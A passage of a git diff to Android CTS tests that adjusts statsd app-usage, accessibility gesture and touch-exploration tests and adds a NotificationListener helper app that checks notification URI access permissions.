private static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
+ private static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
private static final int WAIT_TIME_FOR_CONFIG_UPDATE_MS = 200;
private static final int EXTRA_WAIT_TIME_MS = 5_000; // as buffer when app starting/stopping.
@@ -1324,7 +1325,7 @@
private static void assertIonHeapSize(List<Atom> atoms) {
assertThat(atoms).hasSize(1);
IonHeapSize ionHeapSize = atoms.get(0).getIonHeapSize();
- assertThat(ionHeapSize.getTotalSizeKb()).isGreaterThan(0);
+ assertThat(ionHeapSize.getTotalSizeKb()).isAtLeast(0);
}
/**
@@ -2160,18 +2161,48 @@
AppUsageEventOccurred.EventType.MOVE_TO_BACKGROUND_VALUE));
List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
- createAndUploadConfig(Atom.APP_USAGE_EVENT_OCCURRED_FIELD_NUMBER, false); // False: does not use attribution.
+ createAndUploadConfig(Atom.APP_USAGE_EVENT_OCCURRED_FIELD_NUMBER, false);
Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
getDevice().executeShellCommand(String.format(
- "am start -n '%s' -e %s %s",
- "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity",
- "action", ACTION_SHOW_APPLICATION_OVERLAY));
+ "am start -n '%s' -e %s %s",
+ "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity",
+ "action", ACTION_SHOW_APPLICATION_OVERLAY));
final int waitTime = EXTRA_WAIT_TIME_MS + 5_000; // Overlay may need to sit there a while.
Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
List<EventMetricData> data = getEventMetricDataList();
- Function<Atom, Integer> appUsageStateFunction = atom -> atom.getAppUsageEventOccurred().getEventType().getNumber();
+ Function<Atom, Integer> appUsageStateFunction =
+ atom -> atom.getAppUsageEventOccurred().getEventType().getNumber();
+ popUntilFind(data, onStates, appUsageStateFunction); // clear out initial appusage states.s
+ assertStatesOccurred(stateSet, data, 0, appUsageStateFunction);
+ }
+
+ public void testAppForceStopUsageEvent() throws Exception {
+ Set<Integer> onStates = new HashSet<>(Arrays.asList(
+ AppUsageEventOccurred.EventType.MOVE_TO_FOREGROUND_VALUE));
+ Set<Integer> offStates = new HashSet<>(Arrays.asList(
+ AppUsageEventOccurred.EventType.MOVE_TO_BACKGROUND_VALUE));
+
+ List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+ createAndUploadConfig(Atom.APP_USAGE_EVENT_OCCURRED_FIELD_NUMBER, false);
+ Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
+
+ getDevice().executeShellCommand(String.format(
+ "am start -n '%s' -e %s %s",
+ "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity",
+ "action", ACTION_LONG_SLEEP_WHILE_TOP));
+ final int waitTime = EXTRA_WAIT_TIME_MS + 5_000;
+ Thread.sleep(waitTime);
+
+ getDevice().executeShellCommand(String.format(
+ "am force-stop %s",
+ "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity"));
+ Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
+
+ List<EventMetricData> data = getEventMetricDataList();
+ Function<Atom, Integer> appUsageStateFunction =
+ atom -> atom.getAppUsageEventOccurred().getEventType().getNumber();
popUntilFind(data, onStates, appUsageStateFunction); // clear out initial appusage states.
assertStatesOccurred(stateSet, data, 0, appUsageStateFunction);
}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
index 2c8535d..2fb7916 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
@@ -50,6 +50,20 @@
*/
@RunWith(AndroidJUnit4.class)
public class AccessibilityServiceInfoTest {
+ private static final int FLAGS_MASK = AccessibilityServiceInfo.DEFAULT
+ | AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS
+ | AccessibilityServiceInfo.FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY
+ | AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS
+ | AccessibilityServiceInfo.FLAG_ENABLE_ACCESSIBILITY_VOLUME
+ | AccessibilityServiceInfo.FLAG_REQUEST_ACCESSIBILITY_BUTTON
+ | AccessibilityServiceInfo.FLAG_REQUEST_FINGERPRINT_GESTURES
+ | AccessibilityServiceInfo.FLAG_SERVICE_HANDLES_DOUBLE_TAP
+ | AccessibilityServiceInfo.FLAG_REQUEST_MULTI_FINGER_GESTURES
+ | AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE
+ | AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS
+ | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS
+ | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK;
+
private AccessibilityManager mAccessibilityManager;
private PackageManager mPackageManager;
@@ -102,13 +116,16 @@
final AccessibilityServiceInfo speakingService = enabledServices.get(0);
assertSame(AccessibilityEvent.TYPES_ALL_MASK, speakingService.eventTypes);
assertSame(AccessibilityServiceInfo.FEEDBACK_SPOKEN, speakingService.feedbackType);
- assertEquals(AccessibilityServiceInfo.DEFAULT
+
+ int serviceFlags = AccessibilityServiceInfo.DEFAULT
| AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS
| AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE
| AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS
| AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS
- | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK,
- speakingService.flags);
+ | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK;
+
+ assertEquals(speakingService.flags & FLAGS_MASK, serviceFlags);
+
assertSame(/* expected= */ 0l, speakingService.notificationTimeout);
assertEquals(/* expected= */ "Some description", speakingService.getDescription());
assertNull(speakingService.packageNames /*all packages*/);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index 69474b9..37a4997 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -70,7 +70,10 @@
// Constants
private static final float GESTURE_LENGTH_INCHES = 1.0f;
- private static final long STROKE_MS = 400;
+ // The movement should exceed the threshold 1 cm in 150 ms defined in Swipe.java. It means the
+ // swipe velocity in testing should be greater than 2.54 cm / 381 ms. Therefore the
+ // duration should be smaller than 381.
+ private static final long STROKE_MS = 380;
private static final long GESTURE_DISPATCH_TIMEOUT_MS = 3000;
private static final long EVENT_DISPATCH_TIMEOUT_MS = 3000;
private static final PointF FINGER_OFFSET_PX = new PointF(100f, -50f);
@@ -132,8 +135,11 @@
mCenter = new Point((int) metrics.widthPixels / 2, (int) metrics.heightPixels / 2);
mTapLocation = new PointF(mCenter);
mStrokeLenPxX = (int) (GESTURE_LENGTH_INCHES * metrics.xdpi);
- mStrokeLenPxY = (int) (GESTURE_LENGTH_INCHES * metrics.ydpi);
- mScreenBigEnough = (metrics.widthPixels / (2 * metrics.xdpi) > GESTURE_LENGTH_INCHES);
+ // The threshold is determined by xdpi.
+ mStrokeLenPxY = mStrokeLenPxX;
+ final boolean screenWideEnough = metrics.widthPixels / 2 > mStrokeLenPxX;
+ final boolean screenHighEnough = metrics.heightPixels / 2 > mStrokeLenPxY;
+ mScreenBigEnough = screenWideEnough && screenHighEnough;
if (!mScreenBigEnough) {
return;
}
@@ -286,23 +292,6 @@
displayId);
testGesture(
- MultiFingerSwipe(displayId, 2, 0, dy),
- AccessibilityService.GESTURE_2_FINGER_SWIPE_DOWN,
- displayId);
- testGesture(
- MultiFingerSwipe(displayId, 2, -dx, 0),
- AccessibilityService.GESTURE_2_FINGER_SWIPE_LEFT,
- displayId);
- testGesture(
- MultiFingerSwipe(displayId, 2, dx, 0),
- AccessibilityService.GESTURE_2_FINGER_SWIPE_RIGHT,
- displayId);
- testGesture(
- MultiFingerSwipe(displayId, 2, 0, -dy),
- AccessibilityService.GESTURE_2_FINGER_SWIPE_UP,
- displayId);
-
- testGesture(
MultiFingerSwipe(displayId, 3, 0, dy),
AccessibilityService.GESTURE_3_FINGER_SWIPE_DOWN,
displayId);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
index ead2e7a..c524c2a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
@@ -1046,15 +1046,6 @@
assertEquals(3, Selection.getSelectionStart(editText.getText()));
assertEquals(3, Selection.getSelectionEnd(editText.getText()));
- // Unfocus the view so we can get rid of the soft-keyboard.
- sInstrumentation.runOnMainSync(new Runnable() {
- @Override
- public void run() {
- editText.clearFocus();
- editText.setFocusable(false);
- }
- });
-
// Move to the previous character and wait for an event.
AccessibilityEvent seventhExpected = sUiAutomation
.executeAndWaitForEvent(new Runnable() {
@@ -2048,15 +2039,6 @@
assertEquals(11, Selection.getSelectionStart(editText.getText()));
assertEquals(11, Selection.getSelectionEnd(editText.getText()));
- // Unfocus the view so we can get rid of the soft-keyboard.
- sInstrumentation.runOnMainSync(new Runnable() {
- @Override
- public void run() {
- editText.clearFocus();
- editText.setFocusable(false);
- }
- });
-
// Move to the previous word and wait for an event.
AccessibilityEvent seventhExpected = sUiAutomation
.executeAndWaitForEvent(new Runnable() {
@@ -2801,15 +2783,6 @@
assertEquals(34, Selection.getSelectionStart(editText.getText()));
assertEquals(34, Selection.getSelectionEnd(editText.getText()));
- // Unocus the view so we can hide the keyboard.
- sInstrumentation.runOnMainSync(new Runnable() {
- @Override
- public void run() {
- editText.clearFocus();
- editText.setFocusable(false);
- }
- });
-
// Move to the previous line and wait for an event.
AccessibilityEvent seventhExpected = sUiAutomation
.executeAndWaitForEvent(new Runnable() {
@@ -3560,15 +3533,6 @@
assertEquals(47, Selection.getSelectionStart(editText.getText()));
assertEquals(47, Selection.getSelectionEnd(editText.getText()));
- // Unfocus the view so we can get rid of the soft-keyboard.
- sInstrumentation.runOnMainSync(new Runnable() {
- @Override
- public void run() {
- editText.clearFocus();
- editText.setFocusable(false);
- }
- });
-
// Move to the previous paragraph and wait for an event.
AccessibilityEvent seventhExpected = sUiAutomation
.executeAndWaitForEvent(new Runnable() {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
index c64eaa3..32d8a82 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -27,6 +27,7 @@
import static android.accessibilityservice.cts.utils.GestureUtils.endTimeOf;
import static android.accessibilityservice.cts.utils.GestureUtils.lastPointOf;
import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
+import static android.accessibilityservice.cts.utils.GestureUtils.path;
import static android.accessibilityservice.cts.utils.GestureUtils.pointerDown;
import static android.accessibilityservice.cts.utils.GestureUtils.pointerUp;
import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
@@ -181,17 +182,35 @@
public void testPanning() {
//The minimum movement to transit to panningState.
final float minSwipeDistance = ViewConfiguration.get(
- mInstrumentation.getContext()).getScaledTouchSlop();
+ mInstrumentation.getContext()).getScaledTouchSlop() + 1;
final boolean screenBigEnough = mPan > minSwipeDistance;
if (!mHasTouchscreen || !screenBigEnough) return;
assertFalse(isZoomed());
setZoomByTripleTapping(true);
- PointF oldCenter = mCurrentZoomCenter;
+ final PointF oldCenter = mCurrentZoomCenter;
- dispatch(
- swipe(mTapLocation, add(mTapLocation, -mPan, 0)),
- swipe(mTapLocation2, add(mTapLocation2, -mPan, 0)));
+ // Dispatch a swipe gesture composed of two consecutive gestures; the first one to transit
+ // to panningState, and the second one to moves the window.
+ final GestureDescription.Builder builder1 = new GestureDescription.Builder();
+ final GestureDescription.Builder builder2 = new GestureDescription.Builder();
+
+ final long totalDuration = ViewConfiguration.getTapTimeout();
+ final long firstDuration = (long)(totalDuration * (minSwipeDistance / mPan));
+
+ for (final PointF startPoint : new PointF[]{mTapLocation, mTapLocation2}) {
+ final PointF midPoint = add(startPoint, -minSwipeDistance, 0);
+ final PointF endPoint = add(startPoint, -mPan, 0);
+ final StrokeDescription firstStroke = new StrokeDescription(path(startPoint, midPoint),
+ 0, firstDuration, true);
+ final StrokeDescription secondStroke = firstStroke.continueStroke(
+ path(midPoint, endPoint), 0, totalDuration - firstDuration, false);
+ builder1.addStroke(firstStroke);
+ builder2.addStroke(secondStroke);
+ }
+
+ dispatch(builder1.build());
+ dispatch(builder2.build());
waitOn(mZoomLock,
() -> (mCurrentZoomCenter.x - oldCenter.x
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
index 80a3054..b0f3570 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -61,6 +61,7 @@
import android.graphics.Region;
import android.platform.test.annotations.AppModeFull;
import android.util.DisplayMetrics;
+import android.util.TypedValue;
import android.view.Display;
import android.view.View;
import android.view.ViewConfiguration;
@@ -86,7 +87,7 @@
@AppModeFull
public class TouchExplorerTest {
// Constants
- private static final float GESTURE_LENGTH_INCHES = 1.0f;
+ private static final float GESTURE_LENGTH_MMS = 10.0f;
private TouchExplorationStubAccessibilityService mService;
private Instrumentation mInstrumentation;
private UiAutomation mUiAutomation;
@@ -114,8 +115,7 @@
public final RuleChain mRuleChain =
RuleChain.outerRule(mActivityRule).around(mServiceRule).around(mDumpOnFailureRule);
- Point mCenter; // Center of screen. Gestures all start from this point.
- PointF mTapLocation;
+ PointF mTapLocation; // Center of activity. Gestures all start from around this point.
float mSwipeDistance;
View mView;
@@ -129,17 +129,19 @@
mHasTouchscreen =
pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
|| pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
- // Find screen size, check that it is big enough for gestures.
- // Gestures will start in the center of the screen, so we need enough horiz/vert space.
+ // Find window size, check that it is big enough for gestures.
+ // Gestures will start in the center of the window, so we need enough horiz/vert space.
+ mService = mServiceRule.enableService();
+ mView = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
WindowManager windowManager =
(WindowManager)
mInstrumentation.getContext().getSystemService(Context.WINDOW_SERVICE);
final DisplayMetrics metrics = new DisplayMetrics();
windowManager.getDefaultDisplay().getRealMetrics(metrics);
- mScreenBigEnough = (metrics.widthPixels / (2 * metrics.xdpi) > GESTURE_LENGTH_INCHES);
+ mScreenBigEnough = mView.getWidth() / 2 > TypedValue.applyDimension(
+ TypedValue.COMPLEX_UNIT_MM, GESTURE_LENGTH_MMS, metrics);
if (!mHasTouchscreen || !mScreenBigEnough) return;
- mService = mServiceRule.enableService();
- mView = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
+
mView.setOnHoverListener(mHoverListener);
mView.setOnTouchListener(mTouchListener);
mInstrumentation.runOnMainSync(
@@ -149,9 +151,8 @@
final int midX = mView.getWidth() / 2;
final int midY = mView.getHeight() / 2;
mView.getLocationOnScreen(viewLocation);
- mCenter = new Point(viewLocation[0] + midX, viewLocation[1] + midY);
- mTapLocation = new PointF(mCenter);
- mSwipeDistance = (viewLocation[0] + mView.getWidth()) / 4;
+ mTapLocation = new PointF(viewLocation[0] + midX, viewLocation[1] + midY);
+ mSwipeDistance = mView.getWidth() / 4;
mSwipeTimeMillis = (long) mSwipeDistance * 4;
mView.setOnClickListener(mClickListener);
mView.setOnLongClickListener(mLongClickListener);
@@ -482,7 +483,7 @@
@AppModeFull
public void testGestureDetectionPassthrough_initiatesTouchExploration() {
if (!mHasTouchscreen || !mScreenBigEnough) return;
- setRightSideOfScreenGestureDetectionPassthrough();
+ setRightSideOfActivityWindowGestureDetectionPassthrough();
// Swipe in the passthrough region. This should generate hover events.
dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0)));
mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_MOVE, ACTION_HOVER_EXIT);
@@ -524,7 +525,7 @@
@AppModeFull
public void testTouchExplorationPassthrough_sendsTouchEvents() {
if (!mHasTouchscreen || !mScreenBigEnough) return;
- setRightSideOfScreenTouchExplorationPassthrough();
+ setRightSideOfActivityWindowTouchExplorationPassthrough();
// Swipe in the passthrough region. This should generate touch events.
dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0)));
mTouchListener.assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
@@ -576,16 +577,16 @@
});
}
- private void setRightSideOfScreenGestureDetectionPassthrough() {
- Region region = getRightSideOfScreenRegion();
+ private void setRightSideOfActivityWindowGestureDetectionPassthrough() {
+ Region region = getRightSideOfActivityWindowRegion();
mService.runOnServiceSync(
() -> {
mService.setGestureDetectionPassthroughRegion(Display.DEFAULT_DISPLAY, region);
});
}
- private void setRightSideOfScreenTouchExplorationPassthrough() {
- Region region = getRightSideOfScreenRegion();
+ private void setRightSideOfActivityWindowTouchExplorationPassthrough() {
+ Region region = getRightSideOfActivityWindowRegion();
mService.runOnServiceSync(
() -> {
mService.setTouchExplorationPassthroughRegion(Display.DEFAULT_DISPLAY, region);
@@ -602,16 +603,14 @@
});
}
- private Region getRightSideOfScreenRegion() {
- WindowManager windowManager =
- (WindowManager)
- mInstrumentation.getContext().getSystemService(Context.WINDOW_SERVICE);
- final DisplayMetrics metrics = new DisplayMetrics();
- windowManager.getDefaultDisplay().getRealMetrics(metrics);
- int top = 0;
- int left = metrics.widthPixels / 2;
- int right = metrics.widthPixels;
- int bottom = metrics.heightPixels;
+ private Region getRightSideOfActivityWindowRegion() {
+ int[] viewLocation = new int[2];
+ mView.getLocationOnScreen(viewLocation);
+
+ int top = viewLocation[1];
+ int left = viewLocation[0] + mView.getWidth() / 2;
+ int right = viewLocation[0] + mView.getWidth();
+ int bottom = viewLocation[1] + mView.getHeight();
Region region = new Region(left, top, right, bottom);
return region;
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java
index 2cd28c5..aba32d2 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java
@@ -15,6 +15,7 @@
package android.accessibilityservice.cts.activities;
import android.os.Bundle;
+import android.view.WindowManager;
import android.accessibilityservice.cts.R;
@@ -28,5 +29,7 @@
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.accessibility_text_traversal_test);
+ getWindow().setSoftInputMode(
+ WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
}
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
index 44fd804..34b3fc8 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
@@ -279,8 +279,8 @@
AccessibilityNodeInfo node = event.getSource();
if (node != null) {
final AccessibilityWindowInfo window = node.getWindow();
- if(TextUtils.equals(activityTitle, window.getTitle())) {
- return true;
+ if(!TextUtils.equals(activityTitle, window.getTitle())) {
+ return false;
}
}
final AccessibilityWindowInfo window =
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index 6428109..15d8131 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -33,7 +33,10 @@
"platformprotosnano",
"permission-test-util-lib"
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ "NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl",
+ ],
// Tag this module as a cts test artifact
test_suites: [
"cts",
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index 645d233..465b633 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -33,6 +33,8 @@
<option name="test-file-name" value="CtsCantSaveState1.apk" />
<option name="test-file-name" value="CtsCantSaveState2.apk" />
<option name="test-file-name" value="NotificationDelegator.apk" />
+ <option name="test-file-name" value="NotificationProvider.apk" />
+ <option name="test-file-name" value="NotificationListener.apk" />
<option name="test-file-name" value="StorageDelegator.apk" />
<option name="test-file-name" value="CtsActivityManagerApi29.apk" />
</target_preparer>
diff --git a/tests/app/NotificationListener/Android.bp b/tests/app/NotificationListener/Android.bp
new file mode 100644
index 0000000..96a0c3c
--- /dev/null
+++ b/tests/app/NotificationListener/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "NotificationListener",
+ defaults: ["cts_support_defaults"],
+ srcs: [
+ "**/*.java",
+ "**/*.kt",
+ "src/com/android/test/notificationlistener/INotificationUriAccessService.aidl",
+ ],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+ libs: [
+ "android.test.runner",
+ "android.test.base",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "platform-test-annotations",
+ ],
+ platform_apis: true,
+ sdk_version: "test_current",
+}
diff --git a/tests/app/NotificationListener/AndroidManifest.xml b/tests/app/NotificationListener/AndroidManifest.xml
new file mode 100644
index 0000000..f510637
--- /dev/null
+++ b/tests/app/NotificationListener/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.test.notificationlistener">
+ <application android:label="Notification Listener">
+
+ <service android:name=".NotificationUriAccessService"
+ android:exported="true"/>
+
+ <service android:name=".TestNotificationListener"
+ android:exported="true"
+ android:label="TestNotificationListener"
+ android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+ <intent-filter>
+ <action android:name="android.service.notification.NotificationListenerService"/>
+ </intent-filter>
+ </service>
+
+ </application>
+</manifest>
diff --git a/tests/app/NotificationListener/res/layout/activity.xml b/tests/app/NotificationListener/res/layout/activity.xml
new file mode 100644
index 0000000..f001f29
--- /dev/null
+++ b/tests/app/NotificationListener/res/layout/activity.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical"
+>
+
+ <TextView
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_marginTop="25dp"
+ android:textAppearance="?android:attr/textAppearanceLarge"
+ android:text="@string/activity_description"
+ />
+
+</LinearLayout>
diff --git a/tests/app/NotificationListener/res/values/strings.xml b/tests/app/NotificationListener/res/values/strings.xml
new file mode 100644
index 0000000..e19d5bf
--- /dev/null
+++ b/tests/app/NotificationListener/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<resources>
+ <string name="activity_description">This app has a listener and an service used for tests</string>
+</resources>
\ No newline at end of file
diff --git a/tests/app/NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl b/tests/app/NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl
new file mode 100644
index 0000000..eb93179
--- /dev/null
+++ b/tests/app/NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl
@@ -0,0 +1,22 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.test.notificationlistener;
+
+interface INotificationUriAccessService {
+ void ensureNotificationListenerServiceConnected(boolean connected);
+ boolean isFileUriAccessible(in android.net.Uri uri);
+}
diff --git a/tests/app/NotificationListener/src/com/android/test/notificationlistener/NotificationUriAccessService.kt b/tests/app/NotificationListener/src/com/android/test/notificationlistener/NotificationUriAccessService.kt
new file mode 100644
index 0000000..5e6e469
--- /dev/null
+++ b/tests/app/NotificationListener/src/com/android/test/notificationlistener/NotificationUriAccessService.kt
@@ -0,0 +1,61 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationlistener
+
+import android.app.NotificationManager
+import android.app.Service
+import android.content.Intent
+import android.net.Uri
+import android.os.IBinder
+import java.io.IOException
+
+class NotificationUriAccessService : Service() {
+ private inner class MyNotificationUriAccessService : INotificationUriAccessService.Stub() {
+ @Throws(IllegalStateException::class)
+ override fun ensureNotificationListenerServiceConnected(ensureConnected: Boolean) {
+ val nm = getSystemService(NotificationManager::class.java)!!
+ val testListener = TestNotificationListener.componentName
+ check(nm.isNotificationListenerAccessGranted(testListener) == ensureConnected) {
+ "$testListener has incorrect listener access; expected=$ensureConnected"
+ }
+ val listener = TestNotificationListener.instance
+ if (ensureConnected) {
+ check(listener != null) {
+ "$testListener has not been created, but should be connected"
+ }
+ }
+ val isConnected = listener?.isConnected ?: false
+ check(isConnected == ensureConnected) {
+ "$testListener has incorrect listener connection state; expected=$ensureConnected"
+ }
+ }
+
+ override fun isFileUriAccessible(uri: Uri?): Boolean {
+ try {
+ contentResolver.openAssetFile(uri!!, "r", null).use { return true }
+ } catch (e: SecurityException) {
+ return false
+ } catch (e: IOException) {
+ throw IllegalStateException("Exception without security error", e)
+ }
+ }
+ }
+
+ private val mBinder = MyNotificationUriAccessService()
+ override fun onBind(intent: Intent): IBinder? {
+ return mBinder
+ }
+}
\ No newline at end of file
diff --git a/tests/app/NotificationListener/src/com/android/test/notificationlistener/TestNotificationListener.kt b/tests/app/NotificationListener/src/com/android/test/notificationlistener/TestNotificationListener.kt
new file mode 100644
index 0000000..19c7d82
--- /dev/null
+++ b/tests/app/NotificationListener/src/com/android/test/notificationlistener/TestNotificationListener.kt
